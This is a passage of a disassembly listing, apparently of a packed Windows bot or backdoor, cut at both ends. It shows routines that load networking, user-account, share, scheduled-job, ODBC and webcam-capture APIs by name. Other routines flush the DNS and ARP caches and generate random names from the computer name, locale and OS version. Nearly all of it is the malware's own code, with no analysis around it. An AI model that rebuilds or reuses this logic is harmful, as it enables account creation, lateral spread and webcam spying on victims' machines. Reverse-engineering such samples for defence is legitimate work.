ebx jz short loc_40A2E7 cmp dword_4CB60C, ebx jz short loc_40A2E7 cmp dword_4CB660, ebx jz short loc_40A2E7 cmp dword_4CB61C, ebx jz short loc_40A2E7 cmp dword_4CB65C, ebx jz short loc_40A2E7 cmp dword_4CB6C8, ebx jz short loc_40A2E7 cmp dword_4CB614, ebx jz short loc_40A2E7 cmp dword_4CB5D8, ebx jz short loc_40A2E7 cmp dword_4CB648, ebx jz short loc_40A2E7 cmp dword_4CB6B8, ebx jz short loc_40A2E7 cmp dword_4CB5EC, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB718, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB714, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB570, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB4F8, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB5FC, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB5A8, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB608, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB5CC, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB538, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB530, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB540, eax call esi ; GetProcAddress cmp dword_4CB570, ebx mov ecx, dword_4CB5CC mov dword_4CB668, eax jz short loc_40A3D2 cmp dword_4CB4F8, ebx jz short loc_40A3D2 cmp dword_4CB5FC, ebx jz short loc_40A3D2 cmp dword_4CB5A8, ebx jz short loc_40A3D2 cmp dword_4CB608, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CB538, ebx jz short loc_40A3D2 cmp dword_4CB530, ebx jz short loc_40A3D2 cmp dword_4CB540, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB71C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4CB5E4, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB720, eax mov dword_4CB71C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CB5E4, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB5BC, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB6EC, eax call esi ; GetProcAddress cmp dword_4CB5BC, ebx mov dword_4CB54C, eax jz short loc_40A466 cmp dword_4CB6EC, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB728, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB724, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB528, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB500, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB578, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB5AC, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB6C4, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB560, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB50C, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB4FC, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB594, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CB68C, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB644, eax call esi ; GetProcAddress cmp dword_4CB528, ebx mov dword_4CB568, eax jz short loc_40A582 cmp dword_4CB500, ebx jz short loc_40A582 cmp dword_4CB578, ebx jz short loc_40A582 cmp dword_4CB5AC, ebx jz short loc_40A582 cmp dword_4CB6C4, ebx jz short loc_40A582 cmp dword_4CB560, ebx jz short loc_40A582 cmp dword_4CB50C, ebx jz short loc_40A582 cmp dword_4CB4FC, ebx jz short loc_40A582 cmp dword_4CB594, ebx jz short loc_40A582 cmp dword_4CB68C, ebx jz short loc_40A582 cmp dword_4CB644, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB730, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB72C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB550, eax call esi ; GetProcAddress cmp dword_4CB550, ebx mov dword_4CB62C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB738, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB734, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB6B0, eax call esi ; GetProcAddress cmp dword_4CB6B0, ebx mov dword_4CB6AC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB740, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB73C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB6DC, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB6D4, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB69C, eax call esi ; GetProcAddress cmp dword_4CB6DC, ebx mov dword_4CB56C, eax jz short loc_40A68A cmp dword_4CB6D4, ebx jz short loc_40A68A cmp dword_4CB69C, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB748, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB744, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB5A0, eax call esi ; GetProcAddress cmp dword_4CB5A0, ebx mov dword_4CB6A8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB750, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB74C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CB670, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB6BC, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB5F8, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB5B0, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB650, eax call esi ; GetProcAddress cmp dword_4CB670, ebx mov dword_4CB5C0, eax jz short loc_40A772 cmp dword_4CB6BC, ebx jz short loc_40A772 cmp dword_4CB5F8, ebx jz short loc_40A772 cmp dword_4CB5B0, ebx jz short loc_40A772 cmp dword_4CB650, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB758, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB754, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB584, eax call esi ; GetProcAddress cmp dword_4CB584, ebx mov dword_4CB664, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB760, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB75C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB6F4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB6F8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB6FC, esi jz short loc_40A84A push dword_4CB700 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB704, esi jz short loc_40A87E push dword_4CB708 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB70C, esi jz short loc_40A8B2 push dword_4CB710 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB714, esi jz short loc_40A8E6 push dword_4CB718 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB71C, esi jz short loc_40A91A push dword_4CB720 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB724, esi jz short loc_40A94E push dword_4CB728 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB72C, esi jz short loc_40A982 push dword_4CB730 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB734, esi jz short loc_40A9B6 push dword_4CB738 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB73C, esi jz short loc_40A9EA push dword_4CB740 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB744, esi jz short loc_40AA1E push dword_4CB748 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB74C, esi jz short loc_40AA52 push dword_4CB750 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB754, esi jz short loc_40AA86 push dword_4CB758 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB75C, esi jz short loc_40AABA push dword_4CB760 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D9F8 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CB6B8 ; gethostbyname test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB550 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx ; DnsFlushResolverCache locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB6B0 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DC0C push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42DBE8 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB6B0 ; GetIpNetTable cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42DBB8 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42DB88 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CB6AC ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB5D8 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB764 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: .packed:off_42DC58o arg_0 = dword ptr 4 push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42DCC0[edx*4] push offset aS_4 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB2C push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_4 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: .packed:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB2C push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: .packed:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431918 push eax push esi call dword_4270C0 ; GetComputerNameA movsx eax, byte_431918 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: .packed:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: .packed:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: .packed:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: .packed:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: .packed:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB2C push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: .packed:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4270C4 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43191C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: .packed:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB2C push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: .packed:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43D7E8 mov dword ptr [ebp-94h], 94h call dword_4270C8 ; GetVersionExA call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_431944 loc_40AF34: ; CODE XREF: .packed:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431940 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: .packed:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_43193C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: .packed:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431938 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: .packed:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_431934 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: .packed:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431930 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: .packed:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43192C jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: .packed:0040AF5Bj ; .packed:0040AF6Bj mov esi, offset dword_431928 loc_40AFA0: ; CODE XREF: .packed:0040AF3Bj ; .packed:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431920 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; 